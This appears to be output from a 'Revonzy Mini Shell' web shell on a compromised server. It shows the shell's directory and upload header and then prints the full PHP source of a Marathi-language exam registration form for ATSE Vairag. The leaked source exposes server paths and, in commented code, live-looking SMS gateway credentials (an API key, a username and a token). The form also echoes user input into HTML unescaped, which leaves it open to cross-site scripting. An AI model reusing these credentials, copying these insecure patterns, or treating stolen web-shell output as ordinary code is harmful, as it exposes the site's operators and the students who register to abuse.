Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/www/new.atsevairag.com/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/www/new.atsevairag.com/online-form.php

<!--
	Powered By - Dream Technology, Solapur.
	Contact No : +91 9595775120
	Email ID - dream.technology@outlook.com
-->
<?php
	ob_start();
	//import the functions file
	require_once("lib/class/functions.php");
	
	//create object of class file
	$db = new functions();
	
	$current_page = "";
	$success_msg1 =	"";
?>
<DOCTYPE html>
<html>
<head>
	<meta charset="UTF-8">
	<title>ए. टी. एस. ई. वैराग</title>

	<meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no, minimum-scale=1.0, maximum-scale=1.0">
	<meta name="description" content="">
	<meta name="keywords" content="">

	<link rel="stylesheet" type="text/css" href="css/stylesheet.css"/>	
	<script type="text/javascript" src="js/jquery-1.9.1.min.js"></script>
    <script type="text/javascript" src="js/jssor.slider.mini.js"></script>
	<script type="text/javascript" src="js/site.js"></script>
	<script type="text/javascript" src="js/jquery-ui.js"></script>
	<script>
$(function() {
    $( "#skills" ).autocomplete({
        source: 'search1.php'
    });
});
</script>
</head>
<body>
	<?php
		require_once("lib/header.php");
	?>
		
	<div name="tab_container" >
		<div class="main_container" style="min-height:610px;">
		
		<div class="page_highlighter">परीक्षा फॉर्म -</div>	
			
			<?php
				require_once("highlights.php");
			?>
			<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post" name="reg_form">
			<div class="data_container" style="margin-top:16px; padding-top:0px;">
				<div class="info-section">
					
					<?php
					/*	if(isset($_GET['reg_id']))
						{
							$registration_id	= 	$_GET['reg_id'];
							$exam_seat_number	=	$_GET['exam_sn'];
					?>
							<div class="reg_success">
                                विद्यार्थ्याची नोंदणी यशस्वीरीत्या झाली आहे. विद्यार्थ्याचा बैठक क्रमांक परीक्षेच्या १५ दिवस आगोदर मेसेजद्वारे कळवण्यात येईल.
							</div>
					<?php
						}
						else if(isset($_GET['seer']))
						{
					?>
							<div class="reg_success">
								तुमची नोंदणी याअगोदर झाली आहे. कृपया पुन्हा नोंदणी करू नये. ईतर माहितीकरिता परीक्षा नियोजकांना संपर्क करा. 
							</div>
					<?php
						}
						else
						{*/
							
						
					?>
					
					<h4 class="reg_form_title">राज्यस्तरीय ए टी एस प्रज्ञाशोध परीक्षेचे नियम</h4>
					
					<p class="exam_rules">
					  <?php
				$fees_data 	= 	array();
				$fees_data	=	$db->get_all_registration_page_mahiti();
				
				if(!empty($fees_data))
				{
					$count = 0;
					foreach($fees_data as $data)
					{
						$id				=	$fees_data[$count][0];
						$info   		=	$fees_data[$count][1];
						$date			=	$fees_data[$count][2];
						$time			=	$fees_data[$count][3];
			?>
					* <?php echo $info; ?> <br /><br />
			<?php
						$count++;
					}
				}
				
			?>
			
					</p>
					
					
					<?php
					    $status = $db->get_pariksha_form_status();
					    
					    if($status=="on")
					    {
					?>
					
					<p class="terms_and_condition">
						<a href="/images/admission-form.jpg" target="_blank">डाऊनलोड परीक्षा फॉर्म</a>
					</p>
					
					<p class="terms_and_condition">
						वरील नियम मी काळजीपूर्वक वाचले व ते मला मान्य आहेत.
					</p>
					
					
					<?php
						$standard_error 		= "";
						$madhyam_fees_error		= "";
						$sirname_error			= "";
						$name_error				= "";
						$father_name_error		= "";
						$mother_name_error		= "";
						$contact_number_error	= "";
						$principal_details_error= "";
						$school_details_error	= "";
						$jilha_error			= "";
						$dd_number_error		= "";
						$parents_address_error	=	"";
						$pincode_number_error	=	"";
						$day_error				=	"";
						$month_error			=	"";
						$year_error				=	"";
						$center_name_error 		=	"";
						
						$standard 		= "";
						$madhyam_fees	= "";
						$sirname		= "";
						$name			= "";
						$father_name	= "";
						$mother_name	= "";
						$contact_number	= "";
						$principal_details= "";
						$school_details	= "";
						$jilha			= "";
						$dd_number		= "";
						$parents_address=	"";
						$pincode		=	"";
						$day			=	"";
						$month			=	"";
						$year			=	"";
						$center_name	=	"";
						$result_school_name	=	"";
						$org_center_name	=	"";
						$org_school_name	=	"";
						
						if(isset($_POST['register_me_btn']))
						{
							$standard 		= $_POST['standard'];
							$madhyam_fees	= $_POST['madhyam_and_fees'];
							$sirname		= $_POST['sirname'];
							$name			= $_POST['name'];
							$father_name	= $_POST['father_name'];
							$mother_name	= "";
							$contact_number	= $_POST['contact_number'];
							$principal_details= "";
							$school_details	= $_POST['school_name'];
							$jilha			= $_POST['jilha'];
							$dd_number		= $_POST['dd_number'];
							$parents_address=	"";
							$pincode		=	$_POST['pincode_number'];
							$day			=	$_POST['day'];
							$month			=	$_POST['month'];
							$year			=	$_POST['year'];
							$center_name	=	$_POST['center_name'];
							$org_center_name	=	$center_name;
							$org_school_name	=	$school_details;
							
							/*echo "pos0 - ".$pos = strpos($school_details, "-");
							echo "pos1 - ".$pos1 = strpos($school_details, ":");
							echo "Center Name : ".$school_details = substr($school_details,$pos+1,$pos1-1);*/
							
							
							/*echo "pos2 - ".$pos2= strpos($center_name, "-");
							echo "pos3 - ".$pos3= strpos($center_name, ":");
							
							echo "School Name : ".$center_name = substr($center_name,$pos2+1,$pos3-1);
							*/
							$center_id		=	$center_name;
							
							if($school_details=="*")
							{
								$result_school_name	=	$_POST['other_school'];
							}
														
							$error_flag		=	0;
							
							if($center_name=="केंद्र निवडा")
							{
								$center_name_error = "कृपया केंद्र निवडा";
								$error_flag		=	1;
							}
							if($standard=="इयत्ता निवडा")
							{
								$standard_error	=	"कृपया इयत्ता निवडा";
								$error_flag		=	1;
							}
							if($madhyam_fees=="माध्यम आणि फी निवडा")
							{
								$madhyam_fees_error	=	"कृपया माध्यम आणि फी निवडा";
								$error_flag		=	1;
							}
							if($sirname=="")
							{
								$sirname_error	=	"कृपया आडनाव लिहा ";
								$error_flag		=	1;
							}
							if($name=="")
							{
								$name_error	=	"कृपया  नाव लिहा";
								$error_flag		=	1;
							}
							if($father_name=="")
							{
								$father_name_error	=	"कृपया  वडीलांचे नाव  लिहा";
								$error_flag		=	1;
							}
							/*if($mother_name=="")
							{
								$mother_name_error	=	"कृपया  आर्इचे  नाव  लिहा ";
								$error_flag		=	1;
							}*/
							if($day=="दिवस")
							{
								$day_error	=	"कृपया  दिवस निवडा ";
								$error_flag		=	1;
							}
							else if($month=="महिना")
							{
								$month_error	=	"कृपया महिना निवडा ";
								$error_flag		=	1;
							}
							else if($year=="वर्ष")
							{
								$year_error	=	"कृपया वर्ष निवडा ";
								$error_flag		=	1;
							}
							if($contact_number=="")
							{
								$contact_number_error	=	"कृपया  मोबार्इल क्रमांक लिहा ";
								$error_flag		=	1;
							}
							else if(!is_numeric($contact_number))
							{
								$contact_number_error	=	"कृपया बरोबर मोबार्इल क्रमांक लिहा ";
								$error_flag		=	1;
							}
							else if(strlen($contact_number)>10 OR strlen($contact_number)<10)
							{
								$contact_number_error	=	"कृपया बरोबर मोबार्इल क्रमांक लिहा ";
								$error_flag		=	1;
							}
							
							if($pincode=="")
							{
								$pincode_number_error	=	"कृपया  पिनकोड लिहा ";
								$error_flag		=	1;
							}
							else if(!is_numeric($pincode))
							{
								$pincode_number_error	=	"कृपया  बरोबर पिनकोड लिहा ";
								$error_flag		=	1;
							}
							/*if($principal_details=="")
							{
								$principal_details_error	=	"कृपया  मुख्याध्यापकाचे नाव व संपर्क नंबर  लिहा ";
								$error_flag		=	1;
							}*/
							if($school_details=="")
							{
								$school_details_error	=	"कृपया  शाळेचे नाव / शाळेचा पूर्ण पत्ता  लिहा ";
								$error_flag		=	1;
							}
							if($jilha=="जिल्हा निवडा")
							{	
								$jilha_error	=	"कृपया  जिल्हा निवडा";
								$error_flag		=	1;
							}
							
							
							if($error_flag===0)
							{
								
							//get Center Id
							$center_name    =   strstr($center_name,'-');
							$center_name    =   ltrim($center_name, '-');
							$center_name    =   strstr($center_name,':',true);
							
							$center_id		=	$center_name;
							
							
								//School ID
								$school_details    =   strstr($school_details,'-');
								$school_details    =   ltrim($school_details, '-');
								$school_details    =   strstr($school_details,':',true);
							
								$student_dob	=	$year."-".$month."-".$day;
								
							/*	mysql_query('SET character_set_results=utf8');
								mysql_query('SET NAMES=utf8');
								mysql_query('SET character_set_client=utf8');
								mysql_query('SET character_set_connection=utf8');
								mysql_query('SET collation_connection=utf8_general_ci');*/
								
								if($school_details!="*")
								{
									$result_school_name	=	$db->get_result_school_name_school_id($school_details);
								}
								
								$center_name	=	$db->get_result_center_name_center_id($center_id);
								
								$last_seat_number	=	$db->get_last_seat_number($center_id,$standard,$madhyam_fees);
								
								//check student already exist
								$stud_exist = $db->check_student_already_exist($standard,$madhyam_fees,$sirname,$name,$father_name,$mother_name,$contact_number,$principal_details,$school_details,$jilha,$dd_number,$center_name,$result_school_name,$center_id,$student_dob,$parents_address,$pincode);
								
								if($stud_exist=="")
								{
								if($last_seat_number=="")
								{
									if($standard=="पहिली")
									{
										$last_seat_number	=	"10001";
									}
									else if($standard=="दुसरी")
									{
										$last_seat_number	=	"20001";
									}
									else if($standard=="तिसरी")
									{
										$last_seat_number	=	"30001";
									}
									else if($standard=="चौथी")
									{
										$last_seat_number	=	"40001";
									}
									else if($standard=="पाचवी")
									{
										$last_seat_number	=	"50001";
									}
									else if($standard=="सहावी")
									{
										$last_seat_number	=	"60001";
									}
									else if($standard=="सातवी")
									{
										$last_seat_number	=	"70001";
									}
									
								}
								else
								{
									$last_seat_number = $last_seat_number + 1;
								}
								
								$student_exam_seat_number	=	$center_id.$last_seat_number;
								if (strpos($madhyam_fees, 'मराठी') !== false)
								{
									 $pre_tag = "1";
								}
								else
								{
									$pre_tag = "2";
								}
								
								$center_id_new	=	"";
								
								/*if(strlen($center_id)==1)
								{
									$center_id_new   =   "00".$center_id;
								}
								else if(strlen($center_id)==2)
								{
									$center_id_new   =   "0".$center_id;
								}*/
										
								$seat_no = $pre_tag.$center_id_new.$last_seat_number;
								
								$student_exam_seat_number	=	$seat_no;
								
								$full_name = $sirname." ".$name." ".$father_name;
								
								$registration_id = $db->insert_new_record($standard,$madhyam_fees,$sirname,$name,$father_name,$mother_name,$contact_number,$principal_details,$school_details,$jilha,$dd_number,$center_name,$result_school_name,$last_seat_number,$student_exam_seat_number,$center_id,$student_dob,$parents_address,$pincode,$full_name);

								if($registration_id!="")
								{
								    
									/*//Send Message
									$user_message	=	"ATSE - Congratulation ".$name." ".$father_name." ".$sirname."! you have registered successfully for ATSE exam. Your registration ID is ".$registration_id." and Exam seat number ".$student_exam_seat_number.".";
																		
									//Send Message
									$forwardURL = 'http://144.76.190.68/sendSMS?'.http_build_query(array(
										'username' => "atse",
										'sendername' => "ATSEEX",
										'smstype' => "TRANS",
										'numbers' => $contact_number,
										'message' => $user_message,
										'apikey' => "3c13d6dc-12c3-4149-80ca-b0a6219e5d37",
									));
									
									
									$forwardURL = 'http://manage.hivemsg.com/api/send_transactional_sms.php?'.http_build_query(array(
										'username' => "u173",
										'msg_token' => "5YJD9a",
										'sender_id' => "ATSEEX",
										'mobile' => $contact_number,
										'message' => $user_message,
										'lang' => "HN",
										'adv' => "1",
									));

										$curl = curl_init();
										curl_setopt ($curl, CURLOPT_URL, $forwardURL);
										curl_exec ($curl);
										curl_close ($curl);*/
						
									//header("Location:".$_SERVER['PHP_SELF']."?reg_id=".$registration_id."&exam_sn=".$student_exam_seat_number);
									$success_msg1	=	1;
								}
								
								}
								else
								{
									//header("Location:".$_SERVER['PHP_SELF']."?seer");
									$success_msg1	=	2;
								}
							}
						}
					?>
					
					
					
					
 <link rel="stylesheet" href="//code.jquery.com/ui/1.12.1/themes/base/jquery-ui.css">
  <link rel="stylesheet" href="/resources/demos/style.css">
  <script src="https://code.jquery.com/jquery-1.12.4.js"></script>
  <script src="https://code.jquery.com/ui/1.12.1/jquery-ui.js"></script>
  <script>
  $( function() {
    var availableTags = [
        <?php
									$centres_list = array();
									$centres_list = $db->get_all_added_centres();
									
									if(!empty($centres_list))
									{
										$count = 0;
										foreach($centres_list as $centre)
										{
											$c_id			=	$centres_list[$count][0];
											$center_name=	$centres_list[$count][1];
											$address	=	$centres_list[$count][2];
											$contact_no	=	$centres_list[$count][3];
											$fax_number	=	$centres_list[$count][4];
											$email_id	=	$centres_list[$count][5];
											$jilha_nm	=	$centres_list[$count][6];
											$date		=	$centres_list[$count][7];
											$time		=	$centres_list[$count][8];
								?>
								"केंद्र क्रमांक-<?php echo $c_id; echo ": ".$center_name.', जिल्हा  : '.$jilha_nm; ?>",
								<?php
											$count++;
										}
									}
								?>

    ];
    $( "#centers" ).autocomplete({
      source: availableTags
    });
  } );
  </script>
		
		
		
				<?php
						if($success_msg1==1)
						{
					?>
					<div class="reg_success">
								विद्यार्थ्याची नोंदणी यशस्वीरीत्या झाली आहे. विद्यार्थ्याचा बैठक क्रमांक परीक्षेच्या १५ दिवस आगोदर मेसेजद्वारे कळवण्यात येईल.
					</div>
					<?php		
						}
						if($success_msg1==2)
						{
					?>
					<div class="reg_success" style="color:red;">
								तुमची नोंदणी याअगोदर झाली आहे. कृपया पुन्हा नोंदणी करू नये. ईतर माहितीकरिता परीक्षा नियोजकांना संपर्क करा. 
							</div>
					<?php
						}
					?>		
					
					
					<table class="reg_form">
						<tr>
							<td style="text-align:right;">
								केंद्र निवडा  :
							</td>
							<td>								
							    <input type="text" name="center_name" id="centers" class="order_txt" placeholder="केंद्र निवडा" value="<?php echo $org_center_name; ?>" />
							<!--<select name="center_name" id="center_name" class="order_txt">
								<option value="केंद्र निवडा">केंद्र निवडा</option>
								<?php
									$centres_list = array();
									$centres_list = $db->get_all_added_centres();
									
									if(!empty($centres_list))
									{
										$count = 0;
										foreach($centres_list as $centre)
										{
											$c_id			=	$centres_list[$count][0];
											$center_name=	$centres_list[$count][1];
											$address	=	$centres_list[$count][2];
											$contact_no	=	$centres_list[$count][3];
											$fax_number	=	$centres_list[$count][4];
											$email_id	=	$centres_list[$count][5];
											$jilha_m		=	$centres_list[$count][6];
											$date		=	$centres_list[$count][7];
											$time		=	$centres_list[$count][8];
								?>
									<option value="<?php echo $c_id; ?>"><?php echo $center_name.", जिल्हा  - ".$jilha_m." (केंद्र क्रमांक - ".$c_id.")"; ?></option>
								<?php
											$count++;
										}
									}
								?>
							</select>-->
							<span class="error_indicator"><?php echo $center_name_error; ?></span>
					
							</td>
						</tr>
						<tr>
							<td style="text-align:right;">
								इयत्ता :
							</td>
							<td>
							<select name="standard" id="standard_val" class="order_txt">
								<?php
								if($standard!="")
								{
								?>
								<option value="<?php echo $standard; ?>"><?php echo $standard; ?></option>
								<?php
								}
								?>
								<option value="इयत्ता निवडा">इयत्ता निवडा</option>
								<option value="पहिली">पहिली</option>
								<option value="दुसरी">दुसरी </option>
								<option value="तिसरी">तिसरी </option>
								<option value="चौथी">चौथी</option>
								<option value="पाचवी">पाचवी</option>
								<option value="सहावी">सहावी</option>
								<option value="सातवी">सातवी</option>
								
							</select>
							
							<span class="error_indicator"><?php echo $standard_error; ?></span>
							
							</td>
						</tr>
						<tr>	
							<td style="text-align:right;">
								माध्यम व फिस :
							</td>
							<td>
								<select name="madhyam_and_fees" id="level_and_fees" class="order_txt">
									<?php
									if($madhyam_fees!="")
									{
									?>
									<option value="<?php echo $madhyam_fees; ?>"><?php echo $madhyam_fees; ?></option>
									<?php
									}
									?>
									<option value="माध्यम आणि फी निवडा">माध्यम आणि फी निवडा</option>
								</select>
								<span class="error_indicator"><?php echo $madhyam_fees_error; ?></span>
							</td>
						</tr>
						<tr>
							<td style="text-align:right;">
								आडनाव :
							</td>
							<td>
								<input type="text" name="sirname" id="sirname" class="order_txt" value="<?php echo $sirname; ?>" />
								<span class="error_indicator"><?php echo $sirname_error; ?></span>
							</td>
						</tr>
						<tr>
							<td style="text-align:right;">
								नाव :
							</td>
							<td>
								<input type="text" name="name" id="name" class="order_txt" value="<?php echo $name; ?>" />
								<span class="error_indicator"><?php echo $name_error; ?></span>
							</td>
						</tr>
						<tr>
							<td style="text-align:right;">
								वडीलांचे नाव :
							</td>
							<td>
								<input type="text" name="father_name" id="father_name" class="order_txt" value="<?php echo $father_name; ?>" />
								<span class="error_indicator"><?php echo $father_name_error; ?></span>
							</td>
						</tr>
						
						<tr>
							<td style="text-align:right;">
								जन्म तारीख :
							</td>
							<td>
								<select class="order_txt" id="day" name="day" style="width:100px;">
									<?php
									if($day!="")
									{
									?>
									<option value="<?php echo $day; ?>"><?php echo $day; ?></option>
									<?php
									}
									?>
									<option value="दिवस">दिवस</option>
									<?php
										for($i=1;$i<32;$i++)
										{
										    if(strlen($i)==1)
										    {
										        $i = "0".$i;
										    }
									?>
									<option value="<?php echo $i; ?>"><?php echo $i; ?></option>
									<?php
										}
									?>
								</select>
								
								<select class="order_txt" id="month" name="month" style="width:100px;  margin-left:5px;">
									<?php
									if($month!="")
									{
									?>
									<option value="<?php echo $month; ?>"><?php echo $month; ?></option>
									<?php
									}
									?>
									<option value="महिना">महिना </option>
									<?php
										for($m=1;$m<13;$m++)
										{
										     if(strlen($m)==1)
										    {
										        $m = "0".$m;
										    }
									?>
									<option value="<?php echo $m; ?>"><?php echo $m; ?></option>
									<?php
										}
									?>
								</select>
								
								<?php
									$current_date	=	date("Y-m-d");
									
									$start_date = strtotime($current_date.' -18 year');
									$start_date	=	date('Y-m-d', $start_date);
									$start_year = substr($start_date,0,4);
								?>
								<select class="order_txt" id="year" name="year" style="width:130px; margin-left:5px;">
									<?php
									if($year!="")
									{
									?>
									<option value="<?php echo $year; ?>"><?php echo $year; ?></option>
									<?php
									}
									?>
									<option value="वर्ष">वर्ष</option>
									<?php
										for($y=1;$y<18;$y++)
										{
									?>
									<option value="<?php echo $start_year; ?>"><?php echo $start_year; ?></option>
									<?php
											$start_year++;
										}
									?>
								</select>
								
								<span class="error_indicator"><?php echo $mother_name_error; ?></span>
							</td>
						</tr>
						
						<tr>
							<td style="text-align:right;">
								पालकांचा मोबाईल क्रमांक :
							</td>
							<td>
								<input type="text" name="contact_number" id="contact_number" class="order_txt" value="<?php echo $contact_number; ?>" />
								<span class="error_indicator"><?php echo $contact_number_error; ?></span>
							</td>
						</tr>
						
						
						<tr>
							<td style="text-align:right;">
								पिनकोड क्रमांक :
							</td>
							<td>
								<input type="text" name="pincode_number" id="pincode_number" class="order_txt" maxlength="6" value="<?php echo $pincode; ?>" />
								<span class="error_indicator"><?php echo $pincode_number_error; ?></span>
							</td>
						</tr>
						
						
						
						<tr>
							<td style="text-align:right;">
							शाळा निवडा :
							</td>
							<td>
							    
<script>
  $(function() {
    var availableTags = [
    	<?php	
			$centres_list = array();
			$centres_list = $db->get_all_added_schools();
			
			if(!empty($centres_list))
			{
				$count = 0;
				
				foreach($centres_list as $centre)
				{
					$id			=	$centres_list[$count][0];
					$scenter_name=	$centres_list[$count][1];
		?>
		    "केंद्र क्रमांक-<?php echo $id; echo ": ".$scenter_name; ?>",
		<?php
					$count++;
				}
			}
		?>
    ];
    $( "#school_name" ).autocomplete({
      source: availableTags
    });
  });
</script>
		
									    
							    <input type="text" name="school_name" id="school_name" class="order_txt" placeholder="शाळा निवडा" class="order_txt" value="<?php echo $org_school_name; ?>" />
								<!--<textarea type="text" id="school_name" name="school_name" class="order_txt" style="height:80px;"></textarea>-->
								<!--<select name="school_name" class="order_txt" id="school_name">
									<?php	
										$centres_list = array();
										$centres_list = $db->get_all_added_schools();
										
										if(!empty($centres_list))
										{
									?>
										<option value="शाळा निवडा">शाळा निवडा</option>
									<?php
											$count = 0;
											foreach($centres_list as $centre)
											{
												$id			=	$centres_list[$count][0];
												$scenter_name=	$centres_list[$count][1];
									?>
											<option value="<?php echo $id; ?>" <?php if($school_details==$scenter_name){ ?>selected<?php } ?>><?php echo $id." - ".$scenter_name; ?></option>
									<?php
												$count++;
											}
										}
										else
										{
									?>
											<option value="कोणत्याही शाळेची नोंद केलेली नाही ">कोणत्याही शाळेची नोंद केलेली नाही</option>
									<?php
										}
									?>
									<option value="*">इतर</option>
								</select>-->								
								<span class="error_indicator"><?php echo $school_details_error; ?></span>
							</td>
						</tr>
						
						<tr id="other_school_name_tr">
							<td>
							</td>
							<td>
								<input type="text" name="other_school" id="other_school" class="order_txt" placeholder="तुमच्या शाळेचे नाव लिहा"  />
							</td>
						</tr>
						
						<tr>
							<td style="text-align:right;">
								जिल्हा :
							</td>
							<td>
								<select name="jilha" id="jilha" class="order_txt">
									<?php
									if($jilha!="")
									{
									?>
									<option value="<?php echo $jilha; ?>"><?php echo $jilha; ?></option>
									<?php
									}
									?>
									<option value="जिल्हा निवडा">जिल्हा निवडा</option>
									<option value="अकोला">अकोला</option>
									<option value="अमरावती">अमरावती</option>
									<option value="अहमदनगर">अहमदनगर</option>
									<option value="उस्मानाबाद">उस्मानाबाद</option>
									<option value="औरंगाबाद">औरंगाबाद</option>
									<option value="कोल्हापूर">कोल्हापूर</option>
									<option value="गडचिरोली">गडचिरोली</option>
									<option value="गोंदिया">गोंदिया</option>
									<option value="चंद्रपूर">चंद्रपूर</option>
									<option value="जळगाव">जळगाव</option>
									<option value="जालना">जालना</option>
									<option value="धुळे">धुळे</option>
									<option value="नंदुरबार">नंदुरबार</option>
									<option value="नागपूर">नागपूर</option>
									<option value="नाशिक">नाशिक</option>
									<option value="नांदेड">नांदेड</option>
									<option value="ठाणे">ठाणे</option>
									<option value="परभणी">परभणी</option>
									<option value="पुणे">पुणे</option>
									<option value="बीड">बीड</option>
									<option value="बुलढाणा">बुलढाणा</option>
									<option value="भंडारा">भंडारा</option>
									<option value="मुंबई जिल्हा">मुंबई जिल्हा</option>
									<option value="मुंबई उपनगर">मुंबई उपनगर</option>
									<option value="यवतमाळ">यवतमाळ</option>
									<option value="रत्नागिरी">रत्नागिरी</option>
									<option value="रायगड">रायगड</option>
									<option value="लातूर">लातूर</option>
									<option value="वर्धा">वर्धा</option>
									<option value="वाशीम">वाशीम</option>
									<option value="सातारा">सातारा</option>
									<option value="सांगली">सांगली</option>
									<option value="सिंधुदुर्ग">सिंधुदुर्ग</option>
									<option value="सोलापूर">सोलापूर</option>
									<option value="हिंगोली">हिंगोली</option>
								</select>
								<span class="error_indicator"><?php echo $jilha_error; ?></span>
							</td>
						</tr>
						<tr>
							<td style="text-align:right;" width="120">
								फॉर्म भरणार पालक असल्यास त्यांनी  बँकेचा डि. डि. नंबर  नोंद  करावा :
							</td>
							<td>
								<input type="text" name="dd_number" class="order_txt" value="<?php echo $dd_number; ?>" />
							</td>
						</tr>
						
						<tr>
							<td colspan="2" style="color:GREEN; font-size:14px; text-align:center;">
								टीप :फॉर्म भरून झाल्यावर फॉर्म ची प्रिंट काढून सोबत डीडी जोडावा व फक्त वैराग कार्यालयातच पाठवावा.
							</td>
						</tr>
						
						<tr>
							<td>
							</td>
							<td>
								<input type="submit" name="register_me_btn" value="पाठवा" id="send_form" class="reg_btn_form" />
								<input type="button" name="register_me_btn_clear" value="खोडा" id="clear_form" class="reg_btn_form" />
							</td>
						</tr>
					</table>
			<?php
				}
				else
				{
			?>
			<!--<div style="color:green; font-weight:bold; text-align:center;">
			सध्या स्थितीला फॉर्म भरणे बंद आहे
			</div>-->
			<center> <img data-u="image" src="images/comingsoon.png" height="500" style="padding:5px; border:0px solid #DFDFDF;" /></center>
			<?php
				}
						//}
			?>			
			
				</div>				
			</div>
			</form>
		</div>
	</div>
			
	<?php
		require_once("lib/footer.php");
	?>
</body>
</html>

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